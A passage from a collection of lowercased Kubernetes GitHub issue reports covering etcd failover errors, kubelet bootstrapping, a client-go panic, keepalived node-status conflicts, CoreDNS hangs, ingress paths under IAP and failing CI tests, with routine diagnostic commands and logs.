just as the etcd machine was going down, and lasted for something under 60 milliseconds.  three sorts of error messages were recorded:  grpc: the client connection is closing ,  rpc error: code = unavailable desc = transport is closing , and  rpc error: code = unavailable desc = the server stops accepting new rpcs .\r \r   what you expected to happen  :\r i expected the kube apiservers would internally handle the complications due to an etcd machine going down, not return an error to the kubenetes clients.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i do not yet have a lot of experience with this scenario, so am not sure what are the critical elements.  the most obvious elements are taking an etcd server machine down while the system is under high write load, in a multi-master configuration.\r \r   anything else we need to know?  :\r here is where to look in the apiserver logs:\r    \r root@mjstest1:~  egrep -c 'the client connection is closing|transport is closing|the server stops accepting new rpcs' 0613.0940.8148 server stderr log\r 0613.0940.8148-kube-apiserver-mjs-api-dal10s-a-stderr.log:10\r 0613.0940.8148-kube-apiserver-mjs-api-dal10s-b-stderr.log:0\r 0613.0940.8148-kube-apiserver-mjs-api-dal10s-c-stderr.log:14\r 0613.0940.8148-kube-apiserver-mjs-api-dal10s-d-stderr.log:0\r 0613.0940.8148-kube-apiserver-mjs-api-dal10s-e-stderr.log:0\r 0613.0940.8148-kube-apiserver-mjs-api-dal10s-f-stderr.log:14\r 0613.0940.8148-kube-apiserver-mjs-api-dal10s-g-stderr.log:0\r    \r intriguingly, that shows 2 19 matches.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r root@mjs-api-dal10s-c:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.4-1+cff305847e8117-dirty\ , gitcommit:\ cff305847e811748a902ffed70cbc505b3667bd4\ , gittreestate:\ dirty\ , builddate:\ 2018-06-12t14:47:46z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r the server code is https://github.com/mikespreitzer/kubernetes/tree/fix-63608-b-on-1.10.4 , in the docker container image  mspreitz/hyperkube-amd64:v1.10.4.1 .\r \r - cloud provider or hardware configuration: no kube \ cloud provider\  used; hardware as mentioned above, physical for the etcd servers and kube masters, virtual  xen  for the plain kube workers.\r \r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts on the etcd and kube servers\r \r - kernel  e.g.  uname -a  :  linux mjs-api-dal10s-c 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools: private ansible playbook that deploys etcd as systemd services and drives kubeadm to deploy kubernetes\r \r - etcd servers: release 3.3.7\r \r - others: follow pointers from earlier pages to more details, including the client that drove the load\r

the kubelet currently blocks trying to attempt to get a bootstrap client before it starts its worker loops for running static pods, which means a static pod that provides functionality on a node that bootstrapping may need  talking to an hsm, calling out externally, providing a plugin for bootstrapping, or even running a control plane pod  is blocked.  there is no actual functionality in the kubelet that depends on this  waiting for bootstrap has no use case value , it's just a historical legacy of how the code evolved.  as people start to leverage bootstrapping and rotation, it becomes more obvious how this doesn't work in practice.\r \r in the long run we want bootstrap credentials to be pluggable and extensible so that an hsm or other trust store on the machine can deal with the problem.  having secret key material for bootstrapping stored on disk that allows you to join a cluster is undesirable, and having a callout to make that flow less error prone is very desirable for both cloud and metal provisioned environments.\r \r in addition, the bootstrapping and client cert rotation flows are slightly duplicated today - using the client cert to rotate itself means that when a client cert expires  very possible with quicker rotations if the api goes down for a period of time  the bootstrap credential is consulted - but that could be arbitrarily far in the future and means we tend to fail in those cases  bootstrap credential expired .  since the long term desire is for bootstrap to be out of process, it would be better for us to continually go back to bootstrap on cert expiration rather than retrying our flow.\r \r for 1.13, we should fix the kubelet to not pause when bootstrapping and instead delegate to the rotation flow to provide that credential.  this has the side effect of reducing duplicated code for procuring csrs between the two code paths, and hiding the details of client cert acquisition inside of the cert manager so that future changes can allow call outs.\r \r @awly @mikedanese as discussed this week, @kubernetes/sig-auth-misc / @kubernetes/sig-node-bugs, @liggitt because you and discussed this, @aaronlevy because we wanted to push allow static pods for bootstrap control planes in bootkube not to block when using bootstrapping kubelets..

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r providing an empty  name  to the dynamic client's  get  method results in a panic.\r \r   what you expected to happen  :\r \r an error should be returned on empty  name .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r call  get  with  name=\ \  \r \r   anything else we need to know?  :\r the  get method  https://github.com/kubernetes/client-go/blob/9c9f7f424e65af6ded246bd4ba1a1cec988acc7b/dynamic/simple.go l218-l232  expects a nonempty  name  to be provided, but does not validate this. if an empty name is provided, this method will panic because it expects an   unstructured.unstructured , but the response will actually be an   unstructured.unstructuredlist .\r https://github.com/kubernetes/client-go/blob/9c9f7f424e65af6ded246bd4ba1a1cec988acc7b/dynamic/simple.go l231\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others: client-go 10.0.0\r

hey 👋, if you think this is totally out of scope of kubernetes feel free to close this one.\r \r   what would you like to be added:  \r the idea is to have a container build interface similar to the container runtime interface. different container build tools could implement it to provide native oci compliant container build support within kubernetes, handled directly by the kubelet. the image build process could be implemented as a new kubernetes resource and needs to be stored in a registry on success.\r \r   why is this needed:  \r building images within kubernetes is a real world use case but implies security related concerns. having an consistent api would make a lots of custom solutions obsolete and improve the overall security.

1. currently kubectl cluster-info only returns where the kubernetes master is currently running and no other information. 2. not apparent how to switch cluster or delete the current cluster, kubectl config set cluster sets values and not the actual cluster 3. if you leave the google cloud platform context you cannot switch back out   please correct me if i'm wrong with statements above but this seems like a major problem.  i would assumed the relevant information for switching cluster should be here in the documentation https://github.com/googlecloudplatform/kubernetes/blob/master/docs/cluster_management.md  edit: here is an earlier discussion on this last year https://github.com/googlecloudplatform/kubernetes/issues/1755  i still think it could be more clear where the current state of kubectl is at regarding cluster switching and terminating both via script and terminal.  https://github.com/googlecloudplatform/kubernetes/blob/8ebd896351513d446d56bc5785c070d2909226a3/release-0.20.0/docs/kubeconfig-file.md

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/4144/ failed: testauthmodealwaysallow {auth}      auth_test.go:460: error in trying to extract resource version: unexpected error, id not found in json response: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ pod a does not have a host assigned\ ,\ reason\ :\ badrequest\ ,\ code\ :400} auth_test.go:460: error in trying to extract resource version: unexpected error, id not found in json response: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ pod a does not have a host assigned\ ,\ reason\ :\ badrequest\ ,\ code\ :400} auth_test.go:449: case {put /api/v1/namespaces/auth-always-allow/endpoints/a?timeout=60s  \t{ \t  \ kind\ : \ endpoints\ , \t  \ apiversion\ : \ v1\ , \t  \ metadata\ : { \t    \ name\ : \ a\ , \t\ resourceversion\ : \ 1005\ , \t\ namespace\ : \ auth-always-allow\  \t  }, \t  \ subsets\ :   \t    { \t      \ addresses\ :   \t        { \t          \ ip\ : \ 10.10.1.1\  \t        } \t       , \t      \ ports\ :   \t        { \t          \ port\ : 1909, \t          \ protocol\ : \ tcp\  \t        } \t        \t    } \t    \t} \t map 200:true } auth_test.go:450: expected status one of map 200:true , but got 409 auth_test.go:451: body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ operation cannot be fulfilled on endpoints \\\ a\\\ : the object has been modified; please apply your changes to the latest version and try again\ ,\ reason\ :\ conflict\ ,\ details\ :{\ name\ :\ a\ ,\ kind\ :\ endpoints\ },\ code\ :409} auth_test.go:460: error in trying to extract resource version: unexpected error, id not found in json response: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ success\ ,\ code\ :201} auth_test.go:460: error in trying to extract resource version: unexpected error, id not found in json response: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the server could not find the requested resource\ ,\ reason\ :\ notfound\ ,\ details\ :{},\ code\ :404}

seeing a variety of failures\r \r address already in use failures\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49117/pull-kubernetes-unit/42260/\r \r stack traces:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49168/pull-kubernetes-unit/42305/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49168/pull-kubernetes-unit/42269/\r \r creation errors:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49219/pull-kubernetes-unit/42214/

> note: this has been posted on  contrib/issues/2761  https://github.com/kubernetes/contrib/issues/2761 , so i apologize in advance for the duplicate. fact is, i'm not sure that i opened the original issue in the correct place. it's been over a month and it seems no one has ever looked at it. hopefully, i'll get an answer, but feel free to close the issue if appropriate. kind regards!\r \r i'm deploying keepalived on two of my nodes to provide ha for an nginx service that will be also deployed on those nodes. both keepalived and nginx are independent daemonsets running privileged containers to interface directly with the node's network  hostnetwork: true .\r \r nginx is deployed successfully, and the issue persists if i remove it. so, i'm running into problems trying to get keepalived to behave well with the node's kubelet service.\r \r while keepalived is working as expected for its ha purpose, kubelet seems to get lost once virtual addresses are assigned to the node. it will fail to update the node status with the api server.\r \r    \r sep 19 17:58:03 infra02-lab kubelet 25341 : e0919 17:58:03.368592   25341 kubelet_node_status.go:357  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/addresses\\\ : {\\\ type\\\ :\\\ externalip\\\ },{\\\ type\\\ :\\\ internalip\\\ },{\\\ type\\\ :\\\ externalip\\\ },{\\\ type\\\ :\\\ internalip\\\ },{\\\ type\\\ :\\\ hostname\\\ } ,\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ outofdisk\\\ },{\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ ready\\\ } ,\\\ addresses\\\ : {\\\ address\\\ :\\\ 172.31.134.142\\\ ,\\\ type\\\ :\\\ externalip\\\ },{\\\ address\\\ :\\\ 172.31.134.112\\\ ,\\\ type\\\ :\\\ externalip\\\ },{\\\ address\\\ :\\\ 172.31.134.142\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ 172.31.134.112\\\ ,\\\ type\\\ :\\\ internalip\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ message\\\ :\\\ kubelet has sufficient disk space available\\\ ,\\\ reason\\\ :\\\ kubelethassufficientdisk\\\ ,\\\ status\\\ :\\\ false\\\ ,\\\ type\\\ :\\\ outofdisk\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ message\\\ :\\\ kubelet has sufficient memory available\\\ ,\\\ reason\\\ :\\\ kubelethassufficientmemory\\\ ,\\\ status\\\ :\\\ false\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ message\\\ :\\\ kubelet has no disk pressure\\\ ,\\\ reason\\\ :\\\ kubelethasnodiskpressure\\\ ,\\\ status\\\ :\\\ false\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ lasttransitiontime\\\ :\\\ 2017-09-19t20:58:03z\\\ ,\\\ message\\\ :\\\ kubelet is posting ready status. apparmor enabled\\\ ,\\\ reason\\\ :\\\ kubeletready\\\ ,\\\ status\\\ :\\\ true\\\ ,\\\ type\\\ :\\\ ready\\\ } }}\  for node \ infra02-lab\ : the order in patch list:\r sep 19 17:58:03 infra02-lab kubelet 25341 :  map address:172.31.134.142 type:externalip  map address:172.31.134.112 type:externalip  map address:172.31.134.142 type:internalip  map address:172.31.134.112 type:internalip  \r sep 19 17:58:03 infra02-lab kubelet 25341 :  doesn't match $setelementorder list:\r sep 19 17:58:03 infra02-lab kubelet 25341 :  map type:externalip  map type:internalip  map type:externalip  map type:internalip  map type:hostname  \r    \r \r for this particular node, 172.31.134.112 being the node's true ip and 172.31.134.142 is it's virtual ip.\r \r clearing up all the clutter from the error message, it boils down to\r \r    \r the order in patch list:  \r   map address:172.31.134.142 type:externalip \r   map address:172.31.134.112 type:externalip \r   map address:172.31.134.142 type:internalip \r   map address:172.31.134.112 type:internalip \r  \r \r doesn't match $setelementorder list:\r \r  \r   map type:externalip \r   map type:internalip \r   map type:externalip \r   map type:internalip \r   map type:hostname \r  \r    \r \r below is the json content created by kubelet prettyfied:\r \r    \r {\r   \ status\ : {\r     \ $setelementorder\\/addresses\ :  \r       {\r         \ type\ : \ externalip\ \r       },\r       {\r         \ type\ : \ internalip\ \r       },\r       {\r         \ type\ : \ externalip\ \r       },\r       {\r         \ type\ : \ internalip\ \r       },\r       {\r         \ type\ : \ hostname\ \r       }\r      ,\r     \ $setelementorder\\/conditions\ :  \r       {\r         \ type\ : \ outofdisk\ \r       },\r       {\r         \ type\ : \ memorypressure\ \r       },\r       {\r         \ type\ : \ diskpressure\ \r       },\r       {\r         \ type\ : \ ready\ \r       }\r      ,\r     \ addresses\ :  \r       {\r         \ address\ : \ 172.31.134.142\ ,\r         \ type\ : \ externalip\ \r       },\r       {\r         \ address\ : \ 172.31.134.112\ ,\r         \ type\ : \ externalip\ \r       },\r       {\r         \ address\ : \ 172.31.134.142\ ,\r         \ type\ : \ internalip\ \r       },\r       {\r         \ address\ : \ 172.31.134.112\ ,\r         \ type\ : \ internalip\ \r       }\r      ,\r     \ conditions\ :  ... \r   }\r }\r    \r \r i'm inclined to understand here that the api server is refusing the node update because of the fields externalip and internalip are mixed out of order. is this correct?\r \r is there anything i can do to workaround or fix this?\r \r kind regards.\r \r    \r $ kubectl version\r \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3+coreos.0\ , gitcommit:\ 42de91f04e456f7625941a6c4aaedaa69708be1b\ , gittreestate:\ clean\ , builddate:\ 2017-08-07t19:44:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3+coreos.0\ , gitcommit:\ 42de91f04e456f7625941a6c4aaedaa69708be1b\ , gittreestate:\ clean\ , builddate:\ 2017-08-07t19:44:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r /area kubelet\r    

currently, there is not way to use the   exponentialbackoff   https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/wait/wait.go l192-l208  function in combination with a  stopch . hence, if we want to prevent further calls to the  conditionfunc  after a  stopch  has been closed, one must create a manual function by copying the code from this function and adding some additional functionality.\r \r   /assign

right now we have two backends in audit logging and for configuring each one we are using the same set of flags with different prefixes. and it becomes more difficult to handle it.\r \r we should come up with better way of configuring audit logging parameters to avoid duplicates.

 \r   what happened  :\r i tried to follow the instructions on https://kubernetes.io/docs/setup/independent/high-availability/ in order to setup a cluster with three stacked masters using raspberry 3 hardware. whenever i include the controlplaneendpoint attribute in the kubeadm-config, the coredns deployment never activates.\r \r it seems to be hanging.\r \r   what you expected to happen  :\r coredns to become 'pending', then 'running' after installing cni plugin. the plan was to use weave for networking.\r \r   how to reproduce it  as minimally and precisely as possible   :\r follow instructions on https://kubernetes.io/docs/setup/independent/high-availability/ using a raspberry 3.\r \r   anything else we need to know?  :\r \r   environment  :\r    \r root@master-1:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r \r root@master-1:~  cat /etc/os-release\r pretty_name=\ raspbian gnu/linux 9  stretch \ \r name=\ raspbian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=raspbian\r id_like=debian\r home_url=\ http://www.raspbian.org/\ \r support_url=\ http://www.raspbian.org/raspbianforums\ \r bug_report_url=\ http://www.raspbian.org/raspbianbugs\ \r \r root@master-1:~  uname -a\r linux master-1 4.14.62-v7+  1134 smp tue aug 14 17:10:10 bst 2018 armv7l gnu/linux\r \r root@master-1:~  kubectl get pods --all-namespaces\r namespace     name                               ready     status    restarts   age\r kube-system   etcd-master-1                      1/1       running   0          1m\r kube-system   kube-apiserver-master-1            1/1       running   0          1m\r kube-system   kube-controller-manager-master-1   1/1       running   0          25s\r kube-system   kube-scheduler-master-1            1/1       running   0          1m\r \r root@master-1:~  kubectl get deployments --all-namespaces\r namespace     name      desired   current   up-to-date   available   age\r kube-system   coredns   2         0         0            0           1m\r \r root@master-1:~  kubectl get nodes --all-namespaces\r name       status     roles     age       version\r master-1   notready   master    1m        v1.11.2\r \r root@master-1:~  cat kubeadm-config.yaml\r apiversion: kubeadm.k8s.io/v1alpha2\r kind: masterconfiguration\r kubernetesversion: v1.11.1\r apiservercertsans:\r   - master\r   - 192.168.8.150\r api:\r   controlplaneendpoint: \ master:6443\ \r etcd:\r   local:\r     extraargs:\r       listen-client-urls: \ https://127.0.0.1:2379,https://192.168.8.151:2379\ \r       advertise-client-urls: \ https://192.168.8.151:2379\ \r       listen-peer-urls: \ https://192.168.8.151:2380\ \r       initial-advertise-peer-urls: \ https://192.168.8.151:2380\ \r       initial-cluster: \ master-1=https://192.168.8.151:2380\ \r     servercertsans:\r       - master-1\r       - 192.168.8.151\r     peercertsans:\r       - master-1\r       - 192.168.8.151\r networking:\r     this cidr is a calico default. substitute or remove for your cni provider.\r     podsubnet: \ 10.224.0.0/16\ \r    \r \r other: currently, to remove the external load-balancer, 'master' resolves to an additional ip on the 'master-1' node. there is no difference in behaviour if 'master' resolves to 'master-1' ip or 'load-balancer' ip. the ip is the same in both cases.\r \r i have trawled the net for information, tried to get it working with flannel as well and tried a lot of permutations to the kubeadmin file in order to get it to work. from what i can see, adding the controlplaneendpoint attribute breaks coredns. what can i do to troubleshhot this issue? i couldn't find a deb package for docker 17.03. the oldest i found was 17.09 but the behaviour is the same.\r \r thanks,\r // fredrik\r \r 

what would you like to be added  :\r \r   currently, specifying multiple aliases for a single host using  hostaliases  results in a line for each alias in  /etc/hosts .\r   example:\r \r    \r   hostaliases:\r   - ip: \ 127.0.0.1\ \r     hostnames:\r     - \ foo.local\ \r     - \ bar.local\ \r    \r \r leads to an  /etc/hosts  file containing something like \r \r    \r 127.0.0.1 foo.local\r 127.0.0.1 bar.local\r     \r \r   why is this needed  :\r \r   having multiple entries for the same ip address in  /etc/hosts  can break dns resolution for some software.  see https://unix.stackexchange.com/questions/102660/hosts-file-is-it-incorrect-to-have-the-same-ip-address-on-multiple-lines for more details\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r -  sig-release-master-blocking conformance - vsphere-cloud-provider  https://k8s-testgrid.appspot.com/sig-release-master-blocking conformance%20-%20vsphere-cloud-provider  -- failed and not run since 2018-11-20\r -  sig-release-master-blocking conformance - vsphere  https://k8s-testgrid.appspot.com/sig-release-master-blocking conformance%20-%20vsphere  -- failures over 2018-11-24/25\r \r   which test s  are failing  :\r in  conformance - vsphere-cloud-provider  https://k8s-testgrid.appspot.com/sig-release-master-blocking conformance%20-%20vsphere-cloud-provider \r -  beforesuite  https://gubernator.k8s.io/build/k8s-conformance-cloud-provider-vsphere/head/ci/latest/1542736883 beforesuite \r    \r dial tcp: lookup k8s.vmware.ci on 10.32.0.10:53: server misbehaving\r    \r \r in  conformance - vsphere  https://k8s-testgrid.appspot.com/sig-release-master-blocking conformance%20-%20vsphere \r -   sig-apps  replicationcontroller should adopt matching pods on creation  conformance   https://gubernator.k8s.io/build/k8s-conformance-vsphere/head/ci/latest/1543191038 sig-apps-replicationcontroller-should-adopt-matching-pods-on-creation-conformance \r    \r expected error:\r     < errors.errorstring | 0xc00009f870>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r    \r \r -   sig-storage  subpath atomic writer volumes should support subpaths with projected pod  conformance   https://gubernator.k8s.io/build/k8s-conformance-vsphere/head/ci/latest/1543104575 sig-storage-subpath-atomic-writer-volumes-should-support-subpaths-with-projected-pod-conformance  -->  latest run succeeded, will keep an eye on it \r    \r expected error:\r     < errors.errorstring | 0xc000fb9990>: {\r         s: \ expected pod \\\ pod-subpath-test-projected-kr98\\\  success: gave up after waiting 5m0s for pod \\\ pod-subpath-test-projected-kr98\\\  to be \\\ success or failure\\\ \ ,\r     }\r     expected pod \ pod-subpath-test-projected-kr98\  success: gave up after waiting 5m0s for pod \ pod-subpath-test-projected-kr98\  to be \ success or failure\ \r not to have occurred\r    \r \r <!-- do not edit below this line -->\r  

what happened  :\r \r i am using gke identity-aware proxy > l7 load balancer > custom host and path rules. it works fine for the root-path. but it does not work for custom paths.\r \r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: basic-ingress\r   annotations:\r     kubernetes.io/ingress.global-static-ip-name: \ my-static-ip\ \r spec:\r   rules:\r   - host: my.custom.org\r     http:\r       paths:\r       - path: /v1/ \r         backend:\r           servicename: webv1\r           serviceport: 8080\r       - path: /v3/ \r         backend:\r           servicename: webv3\r           serviceport: 8080\r       - path: /nginx/ \r         backend:\r           servicename: nginx\r           serviceport: 80\r       - path: / \r         backend:\r           servicename: nginx\r           serviceport: 80\r    \r \r \r   what you expected to happen  :\r \r path  /  and  /nginx/  works fine.  /v2/  and  /v3/  throws  there was a problem with your request. error code 11 .\r \r if i disable the iap, everything works fine.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.7-gke.17\r - cloud provider or hardware configuration: gke\r \r \r setting up http load balancing with ingress @ https://cloud.google.com/kubernetes-engine/docs/tutorials/http-balancer\r enabling cloud iap for gke @ https://cloud.google.com/iap/docs/enabling-kubernetes-howto\r

hi, guys:  i ran into this issue in my ubuntu environment since 2 days ago. the kube-up.sh just ended here and installation was incomplete. would you please take a look?  ... docker stop/waiting docker start/running, process 2076 connection to 172.16.7.13 closed. validating master validating shshang@172.16.7.11 validating shshang@172.16.7.12 validating shshang@172.16.7.13 ./../cluster/../cluster/ubuntu/util.sh: line 47: roles ${ii} : unbound variable  thanks!  shixiong

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/10321/  failed:  k8s.io  mesos applies slave attributes as labels {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:132 expected error:     < errors.statuserror | 0xc821208080>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server does not allow access to the requested resource  get serviceaccounts \ ,             reason: \ forbidden\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ serviceaccounts\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ forbidden: \\\ /api/v1/watch/namespaces/e2e-tests-pods-n1c30/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 403,         },     }     the server does not allow access to the requested resource  get serviceaccounts  not to have occurred

kubernetes version    use  kubectl version  : 1.3.0\r \r   what happened  :\r \r when using the google nginx-ingress-controller image to provide a reverse-proxy to various services, ingress controllers sometimes go down for various reasons and may be replaced by new ingress controllers  e.g. when a random node failure occurs  or their workload may just be left to existing ingress controllers  e.g. as a result of a replication controller being scaled down . when this happens, the new ingress controller's node ip, if any, is consistently added to the ips reported in the ingress map statuses. however, the ip of the old ingress controller is not removed.\r \r this means that people querying the api for the ip addresses of ingress controllers, which is more or less required to use ingress controllers in a durable/scalable fashion without a cloud load balancer, will get a list of ips that includes non-working ingress controllers. this has to be fixed by manual intervention, destroying and recreating the ingress object.\r \r   what you expected to happen  :\r \r when an ingress controller fails health check or otherwise ceases to exist, this should be detected and the ingress controller's ip should be removed from the ip addresses reported in ingress map status. this will allow an automatic process to stop directing traffic to an ingress controller that is no longer working  perhaps by updating the configuration of an upstream load balancer .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. working on a kubernetes cluster with multiple nodes, create a default backend and an nginx ingress controller under a replication controller.\r 2. create an ingress map and then check it's status. note that when retrieving the ingress map, it now lists the ip of the ingress controller as part of its status.\r 3. kill the ingress controller pod. wait a moment and the replication controller recovers by starting a new pod, which has most likely been scheduled to a different node.\r 4. retrieve the ingress map created earlier. note that it now lists _two_ ip addresses in the status: the ip of the old, now nonexistent ingress controller's node, and the ip address of the new ingress controller's node.\r \r this behavior appears to be consistent across various cloud providers and underlying operating systems.

see https://groups.google.com/forum/ !topic/kubernetes-sig-auth/d3wwqne9uqg for full context, but the gist is that in 1.5.x  i tested with both 1.5.1 and 1.5.2  kube-apiserver does not request a client cert unless --client-ca-file was specified, even if one does not want to enable client cert auth, and only wishes to enable authenticating proxy auth  --requestheader-client-ca-file and --requestheader-username-headers, for example .\r \r i was asked to open this issue by @liggitt. he specifically told me to open it against 1.5.x because this is fixed in master  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubeapiserver/options/authentication.go l300-l321 . i am not sure how to tag this issue with a version; apologies if that makes this messy.\r \r thanks.

as  part of   44770, we started re-architecting scheduler perf but retracted to have backwards compatibility. in order to have robust scheduler performance and scale testing, we need to ensure complex scenarios like multiple combinations of predicates and priorities are tested.\r \r the problem with current scheduler perf is that we are defining strategies where choose predefined subset of given nodes and pods to have the  predicate and we are generating either a podlist or node list at the end of it because of which we are not able to add multiple predicates or priorities to same node or pod at a time. so, in order to avoid this, we recommend to have a podspec and nodespec being mutated so as to include multiple predicates and priorities. only a subset of pods or nodes from given number of nodes or pods are going to have them. \r \r in a way, this becomes a binomial distribution where a node or pod is going to have all the predicates and priorities to be evaluated or none.

both gce-alpha-features and gci-gce-alpha-features have been broken for more than a month:\r \r https://k8s-testgrid.appspot.com/release-master-blocking gce-alpha-features \r https://k8s-testgrid.appspot.com/release-master-blocking gci-gce-alpha-features\r \r i checked the test configuration, and found they are still running some staled tests. for example, petset and scheduledjob\r \r    \r w0609 16:33:35.155  + /workspace/e2e-runner.sh:93 : main  :    -n --ginkgo.focus=\\ feature: petset|dynamickubeletconfig|audit \\ |scheduledjob   \r w0609 16:33:35.155  + /workspace/e2e-runner.sh:94 : main  : e2e_go_args+= --test_args=\ ${ginkgo_test_args}\  \r    \r \r on another hand, audit is important feature for 1.7, and those tests are still valid. i am going to clean the test infra for this. cc/ @timstclair @kubernetes/kubernetes-release-managers @ericchiang

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r \r   what happened  :\r - stateful set deletion is delayed, sometimes by hours when using alongside limit ranges in the namespace\r - the  deletiontimestamp  field for the statefulset is set correctly but the actual deletion is still delayed\r \r   what you expected to happen  :\r - without limit ranges, the deletion is instantaneous \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r   test in new  namespace is important\r $ kubectl create namespace test-statefulset-limitrange\r namespace \ test-statefulset-limitrange\  created\r \r $ kubectl config set-context $ kubectl config current-context  --namespace=test-statefulset-limitrange\r context \ \  set.\r \r $ kubectl apply -f nginx.yml\r statefulset \ web\  created\r \r $ kubectl get all,limitrange\r name       ready     status    restarts   age\r po/web-0   1/1       running   0          6s\r \r name               desired   current   age\r statefulsets/web   1         1         7s\r \r   create limitrange when pod is running\r $ kubectl apply -f limitrange.yml\r limitrange \ custom-limit-ranges\  created\r \r $ kubectl get all,limitrange\r name       ready     status    restarts   age\r po/web-0   1/1       running   0          17s\r \r name               desired   current   age\r statefulsets/web   1         1         18s\r \r name                                age\r limits/custom-limit-ranges   5s\r \r $ kubectl delete --cascade=false statefulsets/web\r statefulset \ web\  deleted\r \r   statefulsets/web still present and can take hours to get deleted\r $ kubectl get all,limitrange\r name       ready     status    restarts   age\r po/web-0   1/1       running   0          29s\r \r name               desired   current   age\r statefulsets/web   1         1         30s\r \r name                                age\r limits/custom-limit-ranges   17s\r \r   deletiontimestamp is set correctly\r $ kubectl get statefulsets/web -o yaml | grep deletiontimestamp\r deletiontimestamp: 2017-10-12t14:15:28z\r \r   5 